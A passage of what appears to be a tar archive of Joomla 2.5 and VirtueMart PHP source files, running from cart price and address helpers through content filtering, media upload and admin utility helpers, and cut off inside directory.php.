	 * @author RolandD
	 * @author Max Milbers
	 * @access public
	 */
	public function prepareCartData($checkAutomaticSelected=true){
		vmSetStartTime('prepareCartData');
		// Get the products for the cart
		if(!empty($this->couponCode)){
			$this->setCouponCode($this->couponCode);
			vmdebug('ValidateCouponCode',$this->couponCode);
		} else{
			// Get the products for the cart, the setCouponCode does it for us
			$this->getCartPrices($checkAutomaticSelected);
		}

		if (empty($this->pricesUnformatted)) return null;

		if(!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php');
		$currency = CurrencyDisplay::getInstance();

		$calculator = calculationHelper::getInstance();

		$this->pricesCurrency = $currency->getCurrencyForDisplay();

		if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php');
		JPluginHelper::importPlugin('vmpayment');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmgetPaymentCurrency', array( $this->virtuemart_paymentmethod_id, &$this->paymentCurrency));
		$cartData = $calculator->getCartData();

		return $cartData ;
	}

	private function prepareCartPrice( ){

		$productM = VmModel::getModel('product');
		$usermodel = VmModel::getModel ('user');
		$currentVMuser = $usermodel->getCurrentUser ();
		if(!is_array($currentVMuser->shopper_groups)){
			$virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups;
		} else {
			$virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups;
		}

		foreach ($this->products as $cart_item_id=>&$product){

			$product->virtuemart_category_id = $this->getCardCategoryId($product->virtuemart_product_id);
			//$product = $productM->getProduct($product->virtuemart_product_id,true, true, true, $product->quantity);
			$productM->getProductPrices($product,$product->quantity,$virtuemart_shoppergroup_ids,true,true);

			// No full link because Mail want absolute path and in shop is better relative path
			$product->url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$product->virtuemart_category_id, FALSE);//JHTML::link($url, $product->product_name);
			if(!empty($product->customfieldsCart)){
				if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php');
				$product->customfields = VirtueMartModelCustomfields::CustomsFieldCartDisplay($cart_item_id,$product);
			} else {
				$product->customfields ='';
			}
			$product->cart_item_id = $cart_item_id ;
		}
	}

	/**
	 * Function Description
	 *
	 * @author Max Milbers
	 * @access public
	 * @param array $cart the cart to get the products for
	 * @return array of product objects
	 */
// 	$this->pricesUnformatted = $product_prices;

	public function getCartPrices($checkAutomaticSelected=true ) {

		if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php');
		$calculator = calculationHelper::getInstance();

		$this->pricesUnformatted = $calculator->getCheckoutPrices($this, $checkAutomaticSelected);

		return $this->pricesUnformatted;
	}

	function prepareAddressDataInCart($type='BT',$new = false, $virtuemart_user_id=null){

		$userFieldsModel =VmModel::getModel('Userfields');

		if($new){
			$data = null;
		} else {
			$data = (object)$this->$type;
		}
		if($virtuemart_user_id!==null){
			$data->virtuemart_user_id=$virtuemart_user_id;
		}
		if($type=='ST'){
			$preFix = 'shipto_';
		} else {
			$preFix = '';
		}

		$addresstype = $type.'address';	//for example BTaddress
		$userFieldsBT = $userFieldsModel->getUserFieldsFor('cart',$type);
		$address = $this->$addresstype = $userFieldsModel->getUserFieldsFilled(
		$userFieldsBT
		,$data
		,$preFix
		);
		//vmdebug('prepareAddressDataInCart',$this->$addresstype);
		if(empty($this->$type) and $type=='BT'){
			$tmp =&$this->$type ;
			$tmp = array();
			foreach($address['fields'] as $k =>$field){
				//vmdebug('prepareAddressDataInCart',$k,$field);
				if($k=='virtuemart_country_id'){
					if(isset($address['fields'][$k]['virtuemart_country_id']) and !isset($tmp['virtuemart_country_id'])){
						$tmp['virtuemart_country_id'] = $address['fields'][$k]['virtuemart_country_id'];
					}
				} else if($k=='virtuemart_state_id') {
					if(isset($address['fields'][$k]['virtuemart_state_id']) and !isset($tmp['virtuemart_state_id'])){
						$tmp['virtuemart_state_id'] = $address['fields'][$k]['virtuemart_state_id'];
					}
				} else if (!empty($address['fields'][$k]['value'])){
					if(!isset($tmp[$k])){
						$tmp[$k] = $address['fields'][$k]['value'];
						//vmdebug('Values was empty for key '.$k.', set value to default'.$address['fields'][$k]['value']);
					}
				}
			}
			//$this->$type = $tmp;
		}
		if(!empty($this->ST) && $type!=='ST'){
			$data = (object)$this->ST;
			if($new){
				$data = null;
			}
			$userFieldsST = $userFieldsModel->getUserFieldsFor('cart','ST');
			$this->STaddress = $userFieldsModel->getUserFieldsFilled(
			$userFieldsST
			,$data
			,$preFix
			);
		}

	}

	function prepareAddressRadioSelection(){

		//Just in case
		$this->user = VmModel::getModel('user');

		$this->userDetails = $this->user->getUser();

		$_addressBT = array();

		// Shipment address(es)
		if($this->user){
			$_addressBT = $this->user->getUserAddressList($this->userDetails->JUser->get('id') , 'BT');

			// Overwrite the address name for display purposes
			if(empty($_addressBT[0])) $_addressBT[0] = new stdClass();
			$_addressBT[0]->address_type_name = JText::_('COM_VIRTUEMART_ACC_BILL_DEF');

			$_addressST = $this->user->getUserAddressList($this->userDetails->JUser->get('id') , 'ST');

		} else {

			$_addressBT[0]->address_type_name = '<a href="index.php'
			.'?option=com_virtuemart'
			.'&view=user'
			.'&task=editaddresscart'
			.'&addrtype=BT'
			. '">'.JText::_('COM_VIRTUEMART_ACC_BILL_DEF').'</a>'.'<br />';
			$_addressST = array();
		}

		$addressList = array_merge(
		array($_addressBT[0])// More BT addresses can exist for shopowners :-(
		, $_addressST );

		if($this->user){
			for ($_i = 0; $_i < count($addressList); $_i++) {
				$addressList[$_i]->address_type_name = '<a href="index.php'
				.'?option=com_virtuemart'
				.'&view=user'
				.'&task=editaddresscart'
				.'&addrtype='.(($_i == 0) ? 'BT' : 'ST')
				.'&virtuemart_userinfo_id='.(empty($addressList[$_i]->virtuemart_userinfo_id)? 0 : $addressList[$_i]->virtuemart_userinfo_id)
				. '" rel="nofollow">'.$addressList[$_i]->address_type_name.'</a>'.'<br />';
			}

			if(!empty($addressList[0]->virtuemart_userinfo_id)){
				$_selectedAddress = (
				empty($this->_cart->selected_shipto)
				? $addressList[0]->virtuemart_userinfo_id // Defaults to 1st BillTo
				: $this->_cart->selected_shipto
				);
				$this->lists['shipTo'] = JHTML::_('select.radiolist', $addressList, 'shipto', null, 'virtuemart_userinfo_id', 'address_type_name', $_selectedAddress);
			}else{
				$_selectedAddress = 0;
				$this->lists['shipTo'] = '';
			}


		} else {
			$_selectedAddress = 0;
			$this->lists['shipTo'] = '';
		}

		$this->lists['billTo'] = empty($addressList[0]->virtuemart_userinfo_id)? 0 : $addressList[0]->virtuemart_userinfo_id;

	}
	/**
	 * moved to shopfunctionf
	 * @deprecated
	 */
	function prepareMailData(){

		if(empty($this->vendor)) $this->prepareVendor();
		//TODO add orders, for the orderId
		//TODO add registering userdata
		// In general we need for every mail the shopperdata (with group), the vendor data, shopperemail, shopperusername, and so on
	}
/**
	 * moved to shopfunctionf
	 * @deprecated
	 */
	// add vendor for cart
	function prepareVendor(){

		$vendorModel = VmModel::getModel('vendor');
		$this->vendor = $vendorModel->getVendor(1);
		$vendorModel->addImages($this->vendor,1);
		return $this->vendor;
	}

	// Render the code for Ajax Cart
	function prepareAjaxData($checkAutomaticSelected=false){
		// Added for the zone shipment module
		//$vars["zone_qty"] = 0;

		$this->prepareCartData($checkAutomaticSelected);

		$weight_total = 0;
		$weight_subtotal = 0;

		//of course, some may argue that the $this->data->products should be generated in the view.html.php, but
		//
		if(empty($this->data)){
			$this->data = new stdClass();
		}
		$this->data->products = array();
		$this->data->totalProduct = 0;
		$i=0;
		//OSP when prices removed needed to format billTotal for AJAX
		if (!class_exists('CurrencyDisplay'))
			require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');
		$currency = CurrencyDisplay::getInstance();

		foreach ($this->products as $priceKey=>$product){

			//$vars["zone_qty"] += $product["quantity"];
			$category_id = $this->getCardCategoryId($product->virtuemart_product_id);
			//Create product URL
			$url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$category_id, FALSE);

			// @todo Add variants
			$this->data->products[$i]['product_name'] = JHTML::link($url, $product->product_name);

			// Add the variants
			if (!is_numeric($priceKey)) {
				if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php');
				//  custom product fields display for cart
				$this->data->products[$i]['product_attributes'] = VirtueMartModelCustomfields::CustomsFieldCartModDisplay($priceKey,$product);

			}
			$this->data->products[$i]['product_sku'] = $product->product_sku;

			//** @todo WEIGHT CALCULATION
			//$weight_subtotal = vmShipmentMethod::get_weight($product["virtuemart_product_id"]) * $product->quantity'];
			//$weight_total += $weight_subtotal;


			// product Price total for ajax cart
// 			$this->data->products[$i]['prices'] = $this->prices[$priceKey]['subtotal_with_tax'];
			$this->data->products[$i]['pricesUnformatted'] = $this->pricesUnformatted[$priceKey]['subtotal_with_tax'];
			$this->data->products[$i]['prices'] = $currency->priceDisplay( $this->pricesUnformatted[$priceKey]['subtotal_with_tax'] );

			// other possible option to use for display
			$this->data->products[$i]['subtotal'] = $this->pricesUnformatted[$priceKey]['subtotal'];
			$this->data->products[$i]['subtotal_tax_amount'] = $this->pricesUnformatted[$priceKey]['subtotal_tax_amount'];
			$this->data->products[$i]['subtotal_discount'] = $this->pricesUnformatted[$priceKey]['subtotal_discount'];
			$this->data->products[$i]['subtotal_with_tax'] = $this->pricesUnformatted[$priceKey]['subtotal_with_tax'];

			// UPDATE CART / DELETE FROM CART
			$this->data->products[$i]['quantity'] = $product->quantity;
			$this->data->totalProduct += $product->quantity ;

			$i++;
		}
		$this->data->billTotal = $currency->priceDisplay( $this->pricesUnformatted['billTotal'] );
		$this->data->dataValidated = $this->_dataValidated ;
		return $this->data ;
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmview.php������������������������������������������������������������������������������������������0000666�����������������00000004017�15137175763�0006617 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
defined('_JEXEC') or die('');
/**
 * abstract controller class containing get,store,delete,publish and pagination
 *
 *
 * This class provides the functions for the calculatoins
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */
// Load the view framework
jimport( 'joomla.application.component.view');
// Load default helpers

class VmView extends JView{

	function linkIcon($link,$altText ='',$boutonName,$verifyConfigValue=false, $modal = true, $use_icon=true,$use_text=false,$class = ''){
		if ($verifyConfigValue) {
			if ( !VmConfig::get($verifyConfigValue, 0) ) return '';
		}
		$folder = (JVM_VERSION===1) ? '/images/M_images/' : '/media/system/images/';
		$text='';
		if ( $use_icon ) $text .= JHtml::_('image.site', $boutonName.'.png', $folder, null, null, JText::_($altText));
		if ( $use_text ) $text .= '&nbsp;'. JText::_($altText);
		if ( $text=='' )  $text .= '&nbsp;'. JText::_($altText);
		if ($modal) return '<a '.$class.' class="modal" rel="{handler: \'iframe\', size: {x: 700, y: 550}}" title="'. JText::_($altText).'" href="'.JRoute::_($link, FALSE).'">'.$text.'</a>';
		else 		return '<a '.$class.' title="'. JText::_($altText).'" href="'.JRoute::_($link, FALSE).'">'.$text.'</a>';
	}

	public function escape($var)
	{
		if (in_array($this->_escape, array('htmlspecialchars', 'htmlentities')))
		{
			$result = call_user_func($this->_escape, $var, ENT_COMPAT, $this->_charset);
		} else {
			$result =  call_user_func($this->_escape, $var);
		}

		return $result;
	}
}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/contact.php������������������������������������������������������������������������������������0000666�����������������00000002420�15137205643�0007664 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Administrator
 * @subpackage	com_contact
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * @package		Joomla.Administrator
 * @subpackage	com_contact
 */
abstract class JHtmlContact
{
	/**
	 * @param	int $value	The featured value
	 * @param	int $i
	 * @param	bool $canChange Whether the value can be changed or not
	 *
	 * @return	string	The anchor tag to toggle featured/unfeatured contacts.
	 * @since	1.6
	 */
	static function featured($value = 0, $i, $canChange = true)
	{
		// Array of image, task, title, action
		$states	= array(
			0	=> array('disabled.png', 'contacts.featured', 'COM_CONTACT_UNFEATURED', 'COM_CONTACT_TOGGLE_TO_FEATURE'),
			1	=> array('featured.png', 'contacts.unfeatured', 'JFEATURED', 'COM_CONTACT_TOGGLE_TO_UNFEATURE'),
		);
		$state	= JArrayHelper::getValue($states, (int) $value, $states[1]);
		$html	= JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true);
		if ($canChange) {
			$html	= '<a href="#" onclick="return listItemTask(\'cb'.$i.'\',\''.$state[1].'\')" title="'.JText::_($state[3]).'">'
					. $html .'</a>';
		}

		return $html;
	}
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������contact.php�����������������������������������������������������������������������������������������0000666�����������������00000003470�15137205643�0006726 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Contact component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_contact
 * @since		1.6
 */
class ContactHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	$vName	The name of the active view.
	 *
	 * @return	void
	 * @since	1.6
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_CONTACT_SUBMENU_CONTACTS'),
			'index.php?option=com_contact&view=contacts',
			$vName == 'contacts'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_CONTACT_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_contact',
			$vName == 'categories'
		);

		if ($vName=='categories') {
			JToolBarHelper::title(
				JText::sprintf('COM_CATEGORIES_CATEGORIES_TITLE', JText::_('com_contact')),
				'contact-categories');
		}
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param	int		The category ID.
	 * @param	int		The contact ID.
	 *
	 * @return	JObject
	 * @since	1.6
	 */
	public static function getActions($categoryId = 0, $contactId = 0)
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		if (empty($contactId) && empty($categoryId)) {
			$assetName = 'com_contact';
			$level = 'component';
		}
		elseif (empty($contactId)) {
			$assetName = 'com_contact.category.'.(int) $categoryId;
			$level = 'category';
		}
		else {
			$assetName = 'com_contact.contact.'.(int) $contactId;
			$level = 'category';
		}

		$actions = JAccess::getActions('com_contact', $level);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������content.php�����������������������������������������������������������������������������������������0000666�����������������00000015033�15137206273�0006743 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Content component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_content
 * @since		1.6
 */
class ContentHelper
{
	public static $extension = 'com_content';

	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	$vName	The name of the active view.
	 *
	 * @return	void
	 * @since	1.6
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('JGLOBAL_ARTICLES'),
			'index.php?option=com_content&view=articles',
			$vName == 'articles'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_CONTENT_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_content',
			$vName == 'categories');
		JSubMenuHelper::addEntry(
			JText::_('COM_CONTENT_SUBMENU_FEATURED'),
			'index.php?option=com_content&view=featured',
			$vName == 'featured'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param	int		The category ID.
	 * @param	int		The article ID.
	 *
	 * @return	JObject
	 * @since	1.6
	 */
	public static function getActions($categoryId = 0, $articleId = 0)
	{
		// Reverted a change for version 2.5.6
		$user	= JFactory::getUser();
		$result	= new JObject;

		if (empty($articleId) && empty($categoryId)) {
			$assetName = 'com_content';
		}
		elseif (empty($articleId)) {
			$assetName = 'com_content.category.'.(int) $categoryId;
		}
		else {
			$assetName = 'com_content.article.'.(int) $articleId;
		}

		$actions = array(
			'core.admin', 'core.manage', 'core.create', 'core.edit', 'core.edit.own', 'core.edit.state', 'core.delete'
		);

		foreach ($actions as $action) {
			$result->set($action,	$user->authorise($action, $assetName));
		}

		return $result;
	}

	/**
	* Applies the content tag filters to arbitrary text as per settings for current user group
	* @param text The string to filter
	* @return string The filtered string
	*/
	public static function filterText($text)
	{
		// Filter settings
		$config		= JComponentHelper::getParams('com_config');
		$user		= JFactory::getUser();
		$userGroups	= JAccess::getGroupsByUser($user->get('id'));

		$filters = $config->get('filters');

		$blackListTags			= array();
		$blackListAttributes	= array();

		$customListTags			= array();
		$customListAttributes	= array();

		$whiteListTags			= array();
		$whiteListAttributes	= array();

		$noHtml				= false;
		$whiteList			= false;
		$blackList			= false;
		$customList			= false;
		$unfiltered			= false;

		// Cycle through each of the user groups the user is in.
		// Remember they are included in the Public group as well.
		foreach ($userGroups as $groupId)
		{
			// May have added a group but not saved the filters.
			if (!isset($filters->$groupId)) {
				continue;
			}

			// Each group the user is in could have different filtering properties.
			$filterData = $filters->$groupId;
			$filterType	= strtoupper($filterData->filter_type);

			if ($filterType == 'NH') {
				// Maximum HTML filtering.
				$noHtml = true;
			}
			elseif ($filterType == 'NONE') {
				// No HTML filtering.
				$unfiltered = true;
			}
			else {
				// Black, white or custom list.
				// Preprocess the tags and attributes.
				$tags			= explode(',', $filterData->filter_tags);
				$attributes		= explode(',', $filterData->filter_attributes);
				$tempTags		= array();
				$tempAttributes	= array();

				foreach ($tags as $tag)
				{
					$tag = trim($tag);

					if ($tag) {
						$tempTags[] = $tag;
					}
				}

				foreach ($attributes as $attribute)
				{
					$attribute = trim($attribute);

					if ($attribute) {
						$tempAttributes[] = $attribute;
					}
				}

				// Collect the black or white list tags and attributes.
				// Each lists is cummulative.
				if ($filterType == 'BL') {
					$blackList				= true;
					$blackListTags			= array_merge($blackListTags, $tempTags);
					$blackListAttributes	= array_merge($blackListAttributes, $tempAttributes);
				}
				elseif ($filterType == 'CBL') {
					// Only set to true if Tags or Attributes were added
					if ($tempTags || $tempAttributes) {
						$customList				= true;
						$customListTags			= array_merge($customListTags, $tempTags);
						$customListAttributes	= array_merge($customListAttributes, $tempAttributes);
					}
				}
				elseif ($filterType == 'WL') {
					$whiteList				= true;
					$whiteListTags			= array_merge($whiteListTags, $tempTags);
					$whiteListAttributes	= array_merge($whiteListAttributes, $tempAttributes);
				}
			}
		}

		// Remove duplicates before processing (because the black list uses both sets of arrays).
		$blackListTags			= array_unique($blackListTags);
		$blackListAttributes	= array_unique($blackListAttributes);
		$customListTags			= array_unique($customListTags);
		$customListAttributes	= array_unique($customListAttributes);
		$whiteListTags			= array_unique($whiteListTags);
		$whiteListAttributes	= array_unique($whiteListAttributes);

		// Unfiltered assumes first priority.
		if ($unfiltered) {
			// Dont apply filtering.
		}
		else {
			// Custom blacklist precedes Default blacklist
			if ($customList) {
				$filter = JFilterInput::getInstance(array(), array(), 1, 1);

				// Override filter's default blacklist tags and attributes
				if ($customListTags) {
					$filter->tagBlacklist = $customListTags;
				}
				if ($customListAttributes) {
					$filter->attrBlacklist = $customListAttributes;
				}
			}
			// Black lists take third precedence.
			elseif ($blackList) {
				// Remove the white-listed attributes from the black-list.
				$filter = JFilterInput::getInstance(
					array_diff($blackListTags, $whiteListTags), 			// blacklisted tags
					array_diff($blackListAttributes, $whiteListAttributes), // blacklisted attributes
					1,														// blacklist tags
					1														// blacklist attributes
				);
				// Remove white listed tags from filter's default blacklist
				if ($whiteListTags) {
					$filter->tagBlacklist = array_diff($filter->tagBlacklist, $whiteListTags);
				}
				// Remove white listed attributes from filter's default blacklist
				if ($whiteListAttributes) {
					$filter->attrBlacklist = array_diff($filter->attrBlacklist);
				}

			}
			// White lists take fourth precedence.
			elseif ($whiteList) {
				$filter	= JFilterInput::getInstance($whiteListTags, $whiteListAttributes, 0, 0, 0);  // turn off xss auto clean
			}
			// No HTML takes last place.
			else {
				$filter = JFilterInput::getInstance();
			}

			$text = $filter->clean($text, 'html');
		}

		return $text;
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/contentadministrator.php�����������������������������������������������������������������������0000666�����������������00000002111�15137206273�0012501 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * @package		Joomla.Administrator
 * @subpackage	com_content
 */
abstract class JHtmlContentAdministrator
{
	/**
	 * @param	int $value	The state value
	 * @param	int $i
	 */
	static function featured($value = 0, $i, $canChange = true)
	{
		// Array of image, task, title, action
		$states	= array(
			0	=> array('disabled.png',	'articles.featured',	'COM_CONTENT_UNFEATURED',	'COM_CONTENT_TOGGLE_TO_FEATURE'),
			1	=> array('featured.png',		'articles.unfeatured',	'COM_CONTENT_FEATURED',		'COM_CONTENT_TOGGLE_TO_UNFEATURE'),
		);
		$state	= JArrayHelper::getValue($states, (int) $value, $states[1]);
		$html	= JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true);
		if ($canChange) {
			$html	= '<a href="#" onclick="return listItemTask(\'cb'.$i.'\',\''.$state[1].'\')" title="'.JText::_($state[3]).'">'
					. $html.'</a>';
		}

		return $html;
	}
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������media.php�������������������������������������������������������������������������������������������0000666�����������������00000006033�15137206457�0006354 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Site
 * @subpackage	com_media
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @package		Joomla.Site
 * @subpackage	com_media
 */
class MediaHelper
{
	/**
	 * Checks if the file is an image
	 * @param string The filename
	 * @return boolean
	 */
	function isImage($fileName)
	{
		static $imageTypes = 'xcf|odg|gif|jpg|png|bmp';

		return preg_match("/$imageTypes/i", $fileName);
	}

	/**
	 * Checks if the file is an image
	 * @param string The filename
	 * @return boolean
	 */
	function getTypeIcon($fileName)
	{
		// Get file extension
		return strtolower(substr($fileName, strrpos($fileName, '.') + 1));
	}

	/**
	 * Checks if the file can be uploaded
	 * @param array File information
	 * @param string An error message to be returned
	 * @return boolean
	 */
	function canUpload($file, &$err)
	{
		$params = JComponentHelper::getParams('com_media');

		jimport('joomla.filesystem.file');
		$format = JFile::getExt($file['name']);

		$allowable = explode(',', $params->get('upload_extensions'));

		if (!in_array($format, $allowable)) {
			$err = JText('COM_MEDIA_ERROR_WARNFILETYPE');
			return false;
		}

		$maxSize = (int) ($params->get('upload_maxsize', 0) * 1024 * 1024);

		if ($maxSize > 0 && (int) $file['size'] > $maxSize) {
			$err = JText('COM_MEDIA_ERROR_WARNFILETOOLARGE');

			return false;
		}

		return true;
	}

	public static function parseSize($size)
	{
		if ($size < 1024) {
			return JText::sprintf('COM_MEDIA_FILESIZE_BYTES', $size);
		}
		elseif ($size < 1024 * 1024) {
			return JText::sprintf('COM_MEDIA_FILESIZE_KILOBYTES', sprintf('%01.2f', $size / 1024.0));
		}
		else {
			return JText::sprintf('COM_MEDIA_FILESIZE_MEGABYTES', sprintf('%01.2f', $size / (1024.0 * 1024)));
		}
	}

	function imageResize($width, $height, $target)
	{
		//takes the larger size of the width and height and applies the
		//formula accordingly...this is so this script will work
		//dynamically with any size image
		if ($width > $height) {
			$percentage = ($target / $width);
		}
		else {
			$percentage = ($target / $height);
		}

		//gets the new value and applies the percentage, then rounds the value
		$width = round($width * $percentage);
		$height = round($height * $percentage);

		//returns the new sizes in html image tag format...this is so you
		//can plug this function inside an image tag and just get the
		return "width=\"$width\" height=\"$height\"";
	}

	function countFiles($dir)
	{
		$total_file = 0;
		$total_dir = 0;

		if (is_dir($dir)) {
			$d = dir($dir);

			while (false !== ($entry = $d->read()))
			{
				if (substr($entry, 0, 1) != '.' && is_file($dir . DIRECTORY_SEPARATOR . $entry) && strpos($entry, '.html') === false && strpos($entry, '.php') === false) {
					$total_file++;
				}

				if (substr($entry, 0, 1) != '.' && is_dir($dir . DIRECTORY_SEPARATOR . $entry)) {
					$total_dir++;
				}
			}

			$d->close();
		}

		return array ($total_file, $total_dir);
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/system.php�������������������������������������������������������������������������������������0000666�����������������00000001211�15137206462�0007552 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * Utility class working with system
 *
 * @package		Joomla.Administrator
 * @subpackage	com_admin
 * @since		1.6
 */
abstract class JHtmlSystem
{
	/**
	 * method to generate a string message for a value
	 *
	 * @param string $val a php ini value
	 *
	 * @return string html code
	 */
	public static function server($val)
	{
		if (empty($val)) {
			return JText::_('COM_ADMIN_NA');
		}
		else {
			return $val;
		}
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/phpsetting.php���������������������������������������������������������������������������������0000666�����������������00000002555�15137206462�0010427 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * Utility class working with phpsetting
 *
 * @package		Joomla.Administrator
 * @subpackage	com_admin
 * @since		1.6
 */
abstract class JHtmlPhpSetting
{
	/**
	 * method to generate a boolean message for a value
	 *
	 * @param boolean $val is the value set?
	 *
	 * @return string html code
	 */
	public static function boolean($val)
	{
		if ($val) {
			return JText::_('JON');
		}
		else {
			return JText::_('JOFF');
		}
	}

	/**
	 * method to generate a boolean message for a value
	 *
	 * @param boolean $val is the value set?
	 *
	 * @return string html code
	 */
	public static function set($val)
	{
		if ($val) {
			return JText::_('JYES');
		} else {
			return JText::_('JNO');
		}
	}

	/**
	 * method to generate a string message for a value
	 *
	 * @param string $val a php ini value
	 *
	 * @return string html code
	 */
	public static function string($val)
	{
		if (empty($val)) {
			return JText::_('JNONE');
		} else {
			return $val;
		}
	}

	/**
	 * method to generate an integer from a value
	 *
	 * @param string $val a php ini value
	 *
	 * @return string html code
	 */
	public static function integer($val)
	{
		return intval($val);
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������html/directory.php����������������������������������������������������������������������������������0000666�����������������00000002402�15137206462�0010235 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * Utility class working with directory
 *
 * @package		Joomla.Administrator
 * @subpackage	com_admin
 * @since		1.6
 */
abstract class JHtmlDirectory
{
	/**
	 * Method to generate a (un)writable message for directory
	 *
	 * @param	boolean	$writable is the directory writable?
	 *
	 * @return	string	html code
	 */
	public static function writable($writable)
	{
		if ($writable) {
			return '<span class="writable">'. JText::_('COM_ADMIN_WRITABLE') .'</span>';
		}
		else {
			return '<span class="unwritable">'. JText::_('COM_ADMIN_UNWRITABLE') .'</span>';
		}
	}

	/**
	 * Method to generate a message for a directory
	 *
